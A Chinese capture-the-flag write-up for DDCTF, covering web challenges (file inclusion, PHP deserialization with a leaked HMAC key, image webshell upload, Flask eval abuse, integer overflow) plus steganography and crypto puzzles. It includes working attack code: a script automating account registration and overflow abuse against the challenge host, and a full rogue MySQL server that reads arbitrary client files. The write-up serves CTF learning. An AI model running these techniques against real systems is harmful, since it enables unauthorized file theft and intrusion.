虽然很忙还是打了滴滴CTF,不过这比赛办的还是很用心的,现在写writeup题目都还在。最后五十几名和还是要向师傅们学习。

Web

滴~

这道题除了备份文件有点难扫之外题还是挺简单的,各个群开始散布备份文件后,这道题才开始大量被做出。

扫目录能扫到config.php。

url:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

解两次base64和一次hexdecode,看到flag.jpg。明显的是文件包含,读到index.php源码

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

可以看到是无法直接读到config.php的,绕过了很久才知道原来有practice.txt.swp这个备份文文件。。。内容为f1ag!ddctf.php,用上面文件包含读取,可以用config绕过不能输入

读出内容为

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}
?>

很简单的变量覆盖和php://伪协议绕过,拿到flag

Web签到题

进去提示没有权限,扫目录没有有效信息,观察发现index.js内容:

伪造请求头加上didictf_username:admin

得到并访问:app/fL2XID2i0Cdh.php拿到源码。

#url:app/Application.php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
# url:app/Session.php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}

$ddctf = new Session();
$ddctf->index();

很明显的反序列化漏洞,Application.php有__destruct魔法函数可以读flag,Session.php会读session,并且在session_read函数中会反序列化session,而session是存储在cookie中的,但是会存在以下的session校验

 if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }

这说明,如果我们想要触发反序列化漏洞,必须得自己构造session,即必须绕过以上的md5校验,我们就必须得到eancrykey。我们可以看到读key的函数

private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

以及session_read中可疑的返回key的语句:

if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
}

运行到这只需要带上它本身的cookie就行。格式化输出,如果我们输入nickname为%s,那么就能在第二轮循环中输出key值。

拿到了key就可以伪造session反序列化数据了,其中我们已经可以得到flag地址,其中../的限制只要双写就能绕过。

payload如图:

拿到flag:

Upload-IMG

上传文件需要图片源码中包括phpinfo字符串,上传后下载下来用hex编辑器打开可以看到图片被压缩了,并且之前写入的字符串不见了

观察发现被gd压缩渲染了,查资料可以得到一个php paload,将字符串插入jpg图片绕过gd渲染。

jpg_payload 只要将要写入的内容替换$miniPayload变量就行,运行php jpa_payload.php your_imag_name 就可生成绕过gd渲染的图片马,不过经测试,第一次生成的图片仍然不能绕过,将题目返回的图片再次运行即可拿到flag。

homebrew event loop

给了源码

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib
import traceback

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af33f66147e857'

def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack

class RollBackException: pass

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        print(request.event_queue)
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            #print(action, args)
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                resp += str(e) # only for debugging
                traceback.print_exc()
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html

def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('serve.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume

def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

flask的CTF题常规种类并不多,这道题既没有SSTI也没有泄露Secret_Key,但是它有一个eval可以执行函数。

代码逻辑很清楚,entry_point为Web入口,然后解析url中GET参数,GET参数为action:ACTION;ARGS0#ARGS1#ARGS2......的格式,将其解析为一个操作链,在execute_event_loop中按照顺序执行。如下执行:

event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

其中的action就为上面的ACTION。而且#可以注释掉eval后面添加的字符串内容,这样我们可以伪造url参数达到运行任意函数的目的,但是限制了函数必须有参数且为列表。一开始一直局限于沙盒绕过,对源代码中其他函数的测试没有太多深入,花了不少时间。

这道题逻辑写得非常的好,request.event_queue是一个先入先出的队列,这说明尽管我们能构造像如下的函数执行链:

action:trigger_event%23;action:buy;8%23action:get_flag;

即执行buy_handler再执行get_flag_handler,尽管执行成功,执行完buy_handler后一定会将consume_point_function加入对列,这样无法将flag返回。但是这道题加了一个session的log机制,将访问过的trigger_event记录在cookie中,这样即使web页面不能返回,我们却能从session中的log得出。

按照上面访问web后,将返回的cookie解码,将其中的log解base64拿到flag:

大吉大利,今晚吃鸡~

先是要买票拿到入场券,一看就是溢出题,但是被浏览器给坑了,火狐在json返回格式遇到大整数会出现部分四舍五入的问题,导致我分析这些特征分析了很久。这只是一个uint32溢出,买票时买2**32 +1 价格的票,pay时应该是是另一个服务器,溢出花一块钱买的票。

进去后有一个id和ticket,需要移除对手,写脚本注册新号就可以用他的ticket和id移除他。

import requests
import json
import time


url1 = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price='
url2 = 'http://117.51.147.155:5050/ctf/api/recall_bill?bill_id='
url4 = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id='
url3 = 'http://117.51.147.155:5050/ctf/api/get_flag'
url5 = 'http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'
cookies = {
    'user_name':'jrxnm',
    'REVEL_SESSION':'d6aefb2d3b2fcdffbd69032ee3ba316c'
}

idlist = []

def buy(p,s):
    res = s.get(url1+p)
    print(res.text)

    if res.status_code != 500:
        print(res.status_code)
        j = json.loads(res.text)
        return True,j
    return False,False

def recall(b):
    res = requests.get(url2+b,cookies=cookie)
    print(res.text)

def pay(b,s):
    res = s.get(url4+b)
    return json.loads(res.text)

def gen_robot(i):
    s = requests.Session()
    name = 'qweer1dfdfgdfgd{}'.format(i)
    s.get('http://117.51.147.155:5050/ctf/api/register?name={}&password=12345678'.format(name))

    s.get('http://117.51.147.155:5050/ctf/api/login?name={}&password=12345678'.format(name))


    ss = '4294967297'
    x,y = buy(str(ss), s)
    b = y['data'][0]['bill_id']

    res = pay(b, s)
    print(res)
    a = [0,0]
    for j in res['data'][0].values():
        if isinstance(j, int):
            a[0] = j
        else:
            a[1] = j
    print(a)

    return a[0], a[1]

if __name__ == '__main__':
    i = 0
    while True:
        print(idlist)
        i+=1
        res1 = requests.get(url3, cookies=cookies)
        print(res1.text)
        ids,ti = gen_robot(i)
        if ids in idlist:
            continue
        else:
            idlist.append(ids)
        if ids == 89:
            continue

        rr = requests.get(url5.format(ids, ti), cookies=cookies)
        print(rr.text)

mysql弱口令

这道题挺坑的,8123端口是写死的,因为服务器的问题一直没有运行成功,就更别说做题了。。。

不过这道题还是很有趣的,本题验证agent.py是否运行然后向提供的端口扫描mysql弱口令(我觉得这就是这道题没有讲清楚的地方)。mysql服务端的伪造,伪造mysql服务端,执行LOAD DATA LOCAL INFILE命令读取任意客户端文件。网上有很多脚本可以直接跑,拿一个师傅的跑起来:

#coding=utf-8 
import socket
import logging
import sys
logging.basicConfig(level=logging.DEBUG)

filename=sys.argv[1]
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

先读.bash_history查看命令历史,看到源码位置views.py文件,读取:

# coding=utf-8

from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql  curl@localhost database:security  table:flag

def weak_scan():

    agent_port = 8123
    result = []
    target_ip = request.args.get('target_ip')
    target_port = request.args.get('target_port')
    if not target_ip or not target_port:
        return jsonify({"code": 404, "msg": "参数不能为空", "data": []})
    if not target_port.isdigit():
        return jsonify({"code": 404, "msg": "端口必须为数字", "data": []})
    if not checkip(target_ip):
        return jsonify({"code": 404, "msg": "必须输入ip", "data": []})
    if is_inner_ipaddress(target_ip):
        return jsonify({"code": 404, "msg": "ip不能是内网ip", "data": []})
    tmp_agent_result = get_agent_result(target_ip, agent_port)
    if not tmp_agent_result[0] == 1:
    tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 404, "msg": "服务器未开启mysql", "data": result})

    tmp_result =mysql_scan(target_ip, target_port)

    if not tmp_result['Flag'] == 1:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 0, "msg": "未扫描出弱口令", "data": []})
    else:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        result.append(tmp_result)
        return jsonify({"code": 0, "msg": "服务器存在弱口令", "data": result})


def checkip(ip):
    p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
    if p.match(ip):
        return True
    else:
        return False

def curl(url):
    tmp = Popen(['curl', url, '-L', '-o', 'content.log'], stdout=PIPE)
    tmp.wait()
    result = tmp.stdout.readlines()
    return result

def get_agent_result(ip, port):

    str_port = str(port)
    url = 'http://'+ip + ':' + str_port
    curl(url)
    if not os.path.exists('content.log'):
        return (0, '未开启agent')
    with open('content.log') as f1:
        tmp_list = f1.readlines()
        response = ''.join(tmp_list)
    os.remove('content.log')
    if not 'mysqld' in response:
        return (0, response)
    else:
        return (1, response)


def ip2long(ip_addr):

    return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):

    ip = ip2long(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
            ip2long('10.0.0.0') >> 24 == ip >> 24 or \
            ip2long('172.16.0.0') >> 20 == ip >> 20 or \
            ip2long('192.168.0.0') >> 16 == ip >> 16

def mysql_scan(ip, port):

    port = int(port)
    weak_user = ['root', 'admin', 'mysql']
    weak_pass = ['', 'mysql', 'root', 'admin', 'test']
    Flag = 0
    for user in weak_user:
        for pass_wd in weak_pass:
            if mysql_login(ip,port, user, pass_wd):
                Flag = 1
                tmp_dic = {'weak_user': user, 'weak_passwd': pass_wd, 'Flag': Flag}
                return tmp_dic
            else:
                tmp_dic = {'weak_user': '', 'weak_passwd': '', 'Flag': Flag}
                return tmp_dic



def mysql_login(host, port, username, password):
    '''mysql login check'''

    try:
        conn = MySQLdb.connect(
            host=host,
            user=username,
            passwd=password,
            port=port,
            connect_timeout=1,
            )
        print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
        conn.close()
        return True
    except MySQLdb.Error, e:

        print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
        return False

可以看到flag在数据库中,有两种方法拿到flag,可以读取mysql存储文件也可以读取~/.mysql_history

拿到flag

Misc

北京地铁

一个脑洞题,图片lsb隐写,用Stegsolve打开后直接提取低位数据就行,在最上面看到base64编码数据

题目提示aes加密,而其解密的key值为北京地铁图片上一个稍微不同的站点魏公村站(weigongcun)。。。这脑洞很清奇。

解密aes随便写一下

MulTzor

参考这篇文章https://www.anquanke.com/post/id/161171 流密码的安全问题,根据统计学以及英语特性上的分析,最后得出加密key值并逆出原文。

那篇文章讲得很清楚这里不赘述,我们用它的第一种方法:通过英文字母汉明距离猜测密钥长度,利用空格异或字母仍然等于字母特性猜测出原文中空格位置,那么当明密文对足够多时,就可以完全恢复出秘钥,这样就可以完全恢复出明文了。

https://github.com/nasume/cryptopals/这个项目已经实现了,可以直接跑出来

Wireshark

这道题分析图片难度倒不大,取出一共三张图片,其中有一张打不开,提示crc错误,改了高度后可以打开,看到key值。

一直在想key值的作用,没注意wireshark中其他的http流量,卡了两天才做出来。流量中将其中一个图片在一个网站(http://tools.jb51.net/aideddesign/img_add_info)中加密并返回,我们在同一个地方解密就好

联盟决策大会

题目已经提示了Shamir 秘密分享算法。按照算法,(k,n)秘密分享算法将秘密分为n份,任意k个子秘密可以恢复出S。本体要求分为两个组织,组织1,2都必须有三人以上同意才能得到秘密。

那么这题可以单独出组织1,2。分别算出秘钥,再用这两个算出总秘密,期间可以使用同一个P

from libnum import *
pairs = []
p1 = '85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9'
s = []
s1 = []
s.append('60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964')
s.append('6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1')
s.append('74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7')
s1.append('560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525')
s1.append('445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62')
s1.append('4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5')

r1 = []
r1.append('5663017b0595fa10e7b09de98a8a8d0849d46ab63ed83e2b49131eeec143817c5226f5e74f5cc5522f9d04c52b0fd0ab8a4bae01d6503c8442e7b64997b2cf3e')
r1.append('26c7cb9a7e50bfbda6691f4f8548ecf677db0dcbdd2f2b0f76c1bcbc3e2ac0f521c1c98e0754078810b9a2478960b7cf2c0e46667bdc3a544d28b635cc11c916')


# pairs += [(1, int(s[0], 16))]
# pairs += [(2, int(s[1], 16))]
# pairs += [(4, int(s[2], 16))]
# pairs += [(3, int(s1[0], 16))]
# pairs += [(4, int(s1[1], 16))]
# pairs += [(5, int(s1[2], 16))]

pairs += [(1, int(r1[0], 16))]
pairs += [(2, int(r1[1], 16))]


p = int(p1, 16)

res = 0
for i, pair in enumerate(pairs):
    x, y = pair
    top = 1
    bottom = 1
    for j, pair in enumerate(pairs):
        if j == i:
            continue
        xj, yj = pair
        top = (top * (-xj)) % p
        bottom = (bottom * (x - xj)) % p
    res += (y * top * invmod(bottom, p)) % p
    res %= p

print res
print n2s(res)

拿到flag